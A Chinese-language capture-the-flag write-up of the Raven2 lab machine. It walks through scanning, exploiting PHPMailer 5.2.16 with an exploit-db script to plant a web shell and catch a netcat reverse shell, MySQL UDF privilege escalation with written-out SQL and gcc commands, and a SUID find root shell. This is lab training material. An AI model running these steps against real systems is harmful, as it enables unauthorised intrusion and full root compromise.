Raven2

1. 信息收集

nmap:扫描主机存活

nmap -sn 192.168.203.0/24

可以看到靶机地址为192.168.203.131

nmap 192.168.203.131

也可以使用·:nmap --min-rate 10000 -p- x.x.x.x

查看开放服务

开放服务如上图:访问80端口http服务,是一个前端页面,使用dirsearch 扫描后台

可疑目录如下图,访问具有一定大小的目录,/vendor/

访问目录具有许多文件,这也是一个漏洞,叫做目录遍历

一个一个访问之后发现flag1

2. 拿shell

接着我们需要知道它这个网站是有什么构成,以此可以让我们打开突破口

访问到contact目录,发现具有发邮件的功能

查看到PHPMailer这个目录,发现邮件功能是PHPMailer提供的,它算是一个cms,我们使用kali查看是否具有这个的nday

searchsploit PHPMailer有这个版本漏洞

接下来可以利用相关版本,我们的版本是 5.2.16

locate 文件名

使用 cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

复制到root的根目录,然后使用vim 改一下文件信息

本机的是后面用来弹shell的,改完信息后,使用python启动该脚本。

它就会上传一个木马文件tan.php,使用nc开启监听4444端口,并且访问tan.php就会弹shell

访问弹shell

这个命令行过于限制,不能直观感受所以使用python命令产生交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

接下来我们要继续寻找flag

使用find / -name flag* 批量寻找筛选和flag相关的文件

找到啦flag2 flag3

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag3访问一下就行了

/var/www/flag2.txt

由下图看可以知道,我们是普通用户,接下来是重要的步骤,提权

3.数据库创函数

我们使用ls查看当前文件内容后,发现这个wordpress目录,这个目录是

WordPress 是一个开源的内容管理系统(CMS),主要使用 PHP 语言开发。它需要运行在支持 PHPMySQL 数据库的服务器上。PHP 负责处理网站的动态功能,而 MySQL 用于存储和管理网站的数据。

是个系统目录,通常会有数据库的信息,而我们在学数据提权时学过,数据库的一些关键文件是存在config,ini,等文件中,所以我们可以去找一找数据库的敏感信息。

可以看到数据库名和密码root,R@v3nSecurity

登入数据库查看

接下来使用数据库提权--------提权方式为UDF提权,利用mysql的自定义函数库udf,添加函数实现跨权限命令执行。

首先查看MySQL的版本,因为根据版本不同,来决定后面的dll文件放在什么地方

  1. select @@version

查询到版本是大于5.1的,所以dll文件放在MySQL的lib\plugin目录下。

  1. 再查看secure_file_priv 的值符不符合条件

show global variables like 'secure%';

是一个空值,则表示可以读写入文件任意位置,

再次使用kali一把梭, searchsploit udf ,查找udf漏洞,我们要找的是提权类型的

这里有两个,我们找到相近版本的,如何进行编译

  1. 先执行 gcc -g -c 1518.c
  1. 再执行 gcc -g -shared -o test.so 1518.o -lc

将编译好的目标文件 1518.o链接为一个包含调试信息、依赖 C 标准库的共享库 test.so。生成的 test.so可被其他程序(如 MySQL 加载插件时)动态调用,执行其中定义的函数

接下来要在靶机执行下载,将t.so下载才能在靶机中利用。

使用python3 -m http.server 80开启服务让靶机下载 t.so

登入数据库,创建自定义函数

**use mysql**进入mysql数据库

复制代码
create table test(line blob);

这个表用来放dll文件就是 te.so 文件

复制代码
insert into test values(load_file('/tmp/te.so'));

将操作系统中 /tmp/te.so文件的内容读取出来,存入数据库的 test表中

复制代码
select * from test into dumpfile '/usr/lib/mysql/plugin/te.so';

test表中存储的二进制数据,导出到操作系统的 /usr/lib/mysql/plugin/te.so文件中

复制代码
select * from mysql.func;

检查函数创建是否成功

复制代码
create function do_system returns integer soname 'te.so';

创建自定义函数do_system

复制代码
select do_system('chmod u+s /usr/bin/find');

给find命令赋予权限。

4.提权

退出MySQL ,在目录下创建一个文件夹

复制代码
touch test

创建test的目的是触发后面的find命令,详解如下:

  • 创建 test 文件是为了让 find 能 "找到目标":如果 test 不存在,find 会提示 "无此文件",可能不会执行后续的 -exec 操作;
  • 只需一个存在的文件即可(名称任意,test 只是举例),目的是触发 find 的 "找到文件" 状态。

    find test -exec "/bin/sh" ;

  • 具体来说:

    1. 普通用户在终端输入 find test -exec "/bin/sh" \; 时,首先启动 find 进程;
    1. 由于 find 被设置了 SUID 权限,且所有者是 root,操作系统会给 find 进程赋予 root 权限(SUID 的核心作用:执行程序时,权限提升为程序所有者的权限);
    1. find 找到 test 文件后,通过 -exec 启动 /bin/sh 进程 ------ 此时 /bin/sh 作为 find 的子进程,会继承父进程( find)的权限 ,即 root 权限;
    1. 最终用户获得的 /bin/sh 是一个具有 root 权限的交互式 shell,输入 whoami 会显示 root,输入 id 会显示 uid=0(root 的 UID),实现完全提权。

然后后面的命令就是以root的权限运行了

切换到root目录,找到flag4

flag4{df2bc5e951d91581467bb9a2a8ff4425}

至此Raven2结束

相关推荐
安全渗透Hacker40 分钟前
参数未校验导致的DOS(服务拒绝)问题典型场景
java·安全·web安全·网络安全·安全性测试
小谢取证1 小时前
电子数据取证之使用Trae进行流量包解析
网络安全
盛世宏博北京1 小时前
《可复制推广:智慧档案馆 “十防” 安全防护体系建设指南》
网络·人工智能·web安全·智慧档案
MOON404☾2 小时前
003.端口扫描
网络·安全·web安全·网络安全·系统安全
-曾牛2 小时前
Yak:专注安全能力融合的编程语言快速入门
安全·网络安全·golang·渗透测试·编程语言·yakit·yak
Bug.ink3 小时前
BUUCTF——WEB(8)
web安全·网络安全·buuctf
Whoami!4 小时前
❿⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 提取密码管理器KeePass主密码(上)
网络安全·信息安全·密码破解·keepass
上海云盾-小余4 小时前
im即时通讯被攻击使用游戏盾高防方案有效解决
网络·网络协议·web安全·游戏·金融·ddos
扑火的小飞蛾13 小时前
网络安全小白学习路线图 (基于提供文档库)
学习·安全·web安全
计算机程序设计小李同学13 小时前
个人数据管理系统
java·vue.js·spring boot·后端·web安全